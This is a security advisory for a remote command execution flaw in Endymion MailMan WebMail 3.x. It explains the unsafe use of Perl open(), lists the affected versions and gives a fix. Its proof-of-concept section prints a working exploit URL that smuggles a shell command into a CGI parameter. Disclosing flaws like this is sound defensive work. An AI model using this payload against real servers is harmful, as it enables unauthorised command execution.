Endymion MailMan Remote Arbitrary Command Execution Vulnerability

BID:2063

Info

Endymion MailMan Remote Arbitrary Command Execution Vulnerability

Bugtraq ID: 2063
Class: Input Validation Error
CVE:
Remote: Unknown
Local: Yes
Published: Dec 06 2000 12:00AM
Updated: Dec 06 2000 12:00AM
Credit: Reported to Bugtraq by "Secure Reality Advisories" <[email protected]> on Wed, 6 Dec 2000.
Vulnerable: Endymion MailMan WebMail 3.0.25
Endymion MailMan WebMail 3.0.24
Endymion MailMan WebMail 3.0.23
Endymion MailMan WebMail 3.0.22
Endymion MailMan WebMail 3.0.21
Endymion MailMan WebMail 3.0.20
Endymion MailMan WebMail 3.0.19
Endymion MailMan WebMail 3.0.18
Endymion MailMan WebMail 3.0.16
Endymion MailMan WebMail 3.0.15
Endymion MailMan WebMail 3.0.14
Endymion MailMan WebMail 3.0.13
Endymion MailMan WebMail 3.0.12
Endymion MailMan WebMail 3.0.11
Endymion MailMan WebMail 3.0.10
Endymion MailMan WebMail 3.0.1
Endymion MailMan WebMail 3.0
Not Vulnerable: Endymion MailMan WebMail 3.0.26

Discussion

Endymion MailMan Remote Arbitrary Command Execution Vulnerability

A vulnerability exists in 3.x versions of Endymion MailMan Webmail prior to release 3.0.26.

The widely-used Perl script provides a web-email interface.

Affected versions make insecure use of the perl open() function. Attackers can control the way open() is supposed to work and execute arbitrary commands.

These commands will be executed with the privilege level of the CGI script (commonly user 'nobody'). This vulnerability may allow remote attackers to gain interactive 'local' access on the target server.

Exploit / POC

Endymion MailMan Remote Arbitrary Command Execution Vulnerability

Seth Georgion <[email protected]> provided the following exploit URL:

This will execute and echo back the uid.

/mmstdod.cgi?ALTERNATE_TEMPLATES=|%20echo%20"Content-Type:%20text%2Fhtml"%3Becho%20""%20%3B%20id%00

Solution / Fix

Endymion MailMan Remote Arbitrary Command Execution Vulnerability

Solution:
Upgrades available:


Endymion MailMan WebMail 3.0.20

Endymion MailMan WebMail 3.0.21

Endymion MailMan WebMail 3.0.22

Endymion MailMan WebMail 3.0.23

Endymion MailMan WebMail 3.0.24

Endymion MailMan WebMail 3.0.25

References

Endymion MailMan Remote Arbitrary Command Execution Vulnerability

References:
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